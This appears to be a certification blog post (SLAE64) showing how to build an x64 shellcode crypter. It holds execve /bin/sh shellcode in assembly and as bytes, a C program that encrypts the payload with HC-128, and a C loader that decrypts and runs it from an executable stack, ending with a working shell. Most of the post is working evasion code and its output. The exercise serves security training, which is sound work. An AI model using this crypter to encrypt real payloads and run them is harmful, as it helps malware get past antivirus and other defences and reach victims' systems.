HC-128 Shellcode Crypter (x64)

In this post I will introduce custom shellcode crypter based on HC-128 cipher.

Introduction to HC-128 cipher

The HC-128 algorithm is a software-efficient, synchronous symmetric stream cipher designed by Hongjun Wu. The cipher makes use of a 128-bit key and 128-bit initialization vector.

I will use HC-128 library developed in ECRYPT II project and simple stack execve shellcode.

/bin/sh execve shellcode

Assembly code executing /bin/sh via system call is

; File: execve-stack.nasm

global _start

section .text

_start:

    xor rax, rax
    push rax                    ; First NULL push
    mov rbx, 0x68732f2f6e69622f ; >>> '/bin//sh'[::-1].encode('hex')
    push rbx                    ; push /bin//sh in reverse
    mov rdi, rsp                ; store /bin//sh address in RDI
    push rax                    ; Second NULL push
    mov rdx, rsp                ; set RDX
    push rdi                    ; Push address of /bin//sh
    mov rsi, rsp                ; set RSI
    add rax, 59
    syscall                     ; Call the Execve syscall

Compile .nasm file into object file(1)

$ nasm -f elf64 -o execve-stack.o execve-stack.nasm

Create binary file from object file

$ ld -o execve-stack execve-stack.o

Check for null bytes(2)

$ objdump -wM intel -d execve-stack | grep " 00"

Extract shellcode from binary

$ for i in $(objdump -d execve-stack |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

We get following short shellcode

\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05

HC-128 library setup and modification

Few things must be considered before we use Ecrypt HC-128 library. First of all the HC-128 library source zip archive is missing essential header files needed for successful encryption/decryption. Fortunately we can find these headers in other Ecrypt zip archives ie. from Rabbit library archive. Your complete HC-128 library should look as follows

$ tree hc128_p3source/
 hc128_p3source/
 ├── ecrypt-config.h
 ├── ecrypt-machine.h
 ├── ecrypt-portable.h
 ├── ecrypt-sync.h
 ├── hc-128.c
 ├── Makefile
 └── verified.test-vectors

ecrypt-config.h, ecrypt-machine.h and ecrypt-portable.h are Ecrypt template definitions which are used with every Ecrypt library; copy them from Rabbit library. ecrypt-sync.h and hc-128.c are cipher specific headers and definitions.

Next problem is in the ecrypt-config.h header because its macros implementation doesn’t count with x64 systems. See the following C stub

/* ------------------------------------------------------------------------- */
 /* Guess the endianness of the target architecture. */
 /* 
 The LITTLE endian machines:
 */ 
 if defined(__ultrix)           /* Older MIPS */
 define ECRYPT_LITTLE_ENDIAN
 elif defined(__alpha)          /* Alpha */
 define ECRYPT_LITTLE_ENDIAN
 elif defined(i386)             /* x86 (gcc) */
 define ECRYPT_LITTLE_ENDIAN
 elif defined(__i386)           /* x86 (gcc) */
 define ECRYPT_LITTLE_ENDIAN
 elif defined(_M_IX86)          /* x86 (MSC, Borland) */
 define ECRYPT_LITTLE_ENDIAN
 elif defined(_MSC_VER)         /* x86 (surely MSC) */
 define ECRYPT_LITTLE_ENDIAN
 elif defined(__INTEL_COMPILER) /* x86 (surely Intel compiler icl.exe) */
 define ECRYPT_LITTLE_ENDIAN
 /* 
 The BIG endian machines: 
 */ 
 elif defined(sun)              /* Newer Sparc's */
 define ECRYPT_BIG_ENDIAN
 elif defined(ppc)          /* PowerPC */
 define ECRYPT_BIG_ENDIAN
 /* 
 Finally machines with UNKNOWN endianness:
 */ 
 elif defined (_AIX)            /* RS6000 */
 define ECRYPT_UNKNOWN
 elif defined(__hpux)           /* HP-PA */
 define ECRYPT_UNKNOWN
 elif defined(__aux)            /* 68K */
 define ECRYPT_UNKNOWN
 elif defined(__dgux)           /* 88K (but P6 in latest boxes) */
 define ECRYPT_UNKNOWN
 elif defined(__sgi)            /* Newer MIPS */
 define ECRYPT_UNKNOWN
 else                            /* Any other processor */
 /* define ECRYPT_UNKNOWN */
 define ECRYPT_LITTLE_ENDIAN    /* Manual switch to LITTLE_ENDIAN machines if IF macro drops here*/
 endif
 /* ------------------------------------------------------------------------- */

For correct library function the ECRYPT_LITTLE_ENDIAN macro must be defined. However on x64 Ubuntu system the preprocessor doesn’t define it. It defines ECRYPT_UNKNOWN which causes errors later during crypter execution. So change last preprocessor IF branch to define ECRYPT_LITTLE_ENDIAN so that each time the ecrypt-config.h can’t guess guest architecture endianess it’s supposed to be little endian.

Encryption

Now we should have the HC-128 C library ready to use. The following C program encrypts the shellcode using given key and initialization vector

// File: encrypt2hc-128.c
// Author: Petr Javorik

#include <string.h>
#include <stdio.h>
#include "hc128_p3source/hc-128.c"

// execve stack /bin/sh
unsigned char code[] = \
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

// Encryption key must be exactly 16 bytes
char key[16] = {'s', 'o', 'm', 'e', 'e', 'n', 'c', 'r', 'y', 'p', 't', 'k', 'e', 'y', 'y', 'y'};

// IV must be exactly 16 bytes
char iv[16] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p'};


int main()
{
    // Initialize ECRYPT library
    ECRYPT_init();
    // ctx is object containing settings and state of encryption engine
    ECRYPT_ctx ctx;
    // Load key
    ECRYPT_keysetup(&ctx, key, 128, 128);
    // Load IV
    ECRYPT_ivsetup(&ctx, iv);
    // Encrypt
    u8 encrypted[200];
    int codeLen = strlen(code);
    ECRYPT_encrypt_bytes(&ctx, code, encrypted, codeLen);

    // Print result
    int i;
    printf("Encryption Key = ");
    for (i=0; i<16; i++)
        printf("%c", key[i]);
    printf("\n");

    printf("IV = ");
    for (i=0; i<16; i++)
        printf("%c", iv[i]);
    printf("\n");

    printf("Original       = ");
    for (i=0; i<codeLen; i++)
        printf("\\x%02x", code[i]);
    printf("\n");

    printf("Encrypted      = ");
    for (i=0; i<codeLen; i++)
        printf("\\x%02x", encrypted[i]);
    printf ("\n");

    return 0;
}

If we compile and run encrypt2hc-128.c we get encrypted shellcode and encryption/decryption key. Initialization vector can be hardcoded into decrypt/execution program or it can be passed as the second argument.

$ ./encrypt2hc-128 
Encryption Key = someencryptkeyyy
IV = abcdefghijklmnop
Original       = \x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05
Encrypted      = \xb8\xd8\x35\xb9\xc0\x99\x32\x44\x05\x87\x40\x55\x92\xaf\x82\x13\xf4\x34\xae\x4e\x41\xb0\x49\xac\xf0\xb4\x11\x7a\x59\x1c\xe3\x8c

Decryption and execution

Program for shellcode decryption and execution is very similar to encrypt2hc-128.c since HC-128 is symmetric cipher but additionally it contains execution code. Note that the following implementation takes just the key from the command line; initialization vector (IV) is hardcoded.

// File: decryptAndExecute.c
// Author: Petr Javorik

#include <string.h>
#include <stdio.h>
#include "hc128_p3source/hc-128.c"

// Encrypted shellcode
unsigned char encrypted[] = \
"\xb8\xd8\x35\xb9\xc0\x99\x32\x44\x05\x87\x40\x55\x92\xaf\x82\x13\xf4\x34\xae\x4e\x41\xb0\x49\xac\xf0\xb4\x11\x7a\x59\x1c\xe3\x8c";

// IV must be exactly 16 bytes
char iv[16] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p'};

int main(int argc, char **argv)
{
    // Initialize ECRYPT library
    ECRYPT_init();
    // ctx is object containing settings and state of encryption engine
    ECRYPT_ctx ctx;
    // Load key
    ECRYPT_keysetup(&ctx, argv[1], 128, 128);
    // Load IV
    ECRYPT_ivsetup(&ctx, iv);
    // Decrypt
    u8 decrypted[200];
    int codeLen = strlen(encrypted);
    ECRYPT_decrypt_bytes(&ctx, encrypted, decrypted, codeLen);

/* DEBUG - prints decrypted bytes

    int i;
    printf("Decrypted      = ");
    for (i=0; i<codeLen; i++)
        printf("\\x%02x", decrypted[i]);
    printf ("\n");
*/

    // Execute
    int (*DecryptedFun)() = (int(*)())decrypted;
    DecryptedFun();
}

Compiling and running decryptAndExecute.c with encryption/decryption key we get /bin/sh executed. As we are executing opcodes in the stack we need to disable stack protection.

$ gcc -fno-stack-protector -z execstack decryptAndExecute.c -o decryptAndExecute
$ ./decryptAndExecute someencryptkeyyy
$ whoami
maple
$

(1) An object file contains low level instructions which can be understood by the CPU. That is why it is also called the machine code. This low level machine code is the binary representation of the instructions so it can be disassembled by objectdump. An object file is not directly executable.

(2) Shellcode must be free of null bytes because they are used as C string terminators in many C functions. Leaving null bytes in a shellcode can lead to undefined shellcode behaviour and hard-to-find bugs.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE64 – 1629

Leave a Reply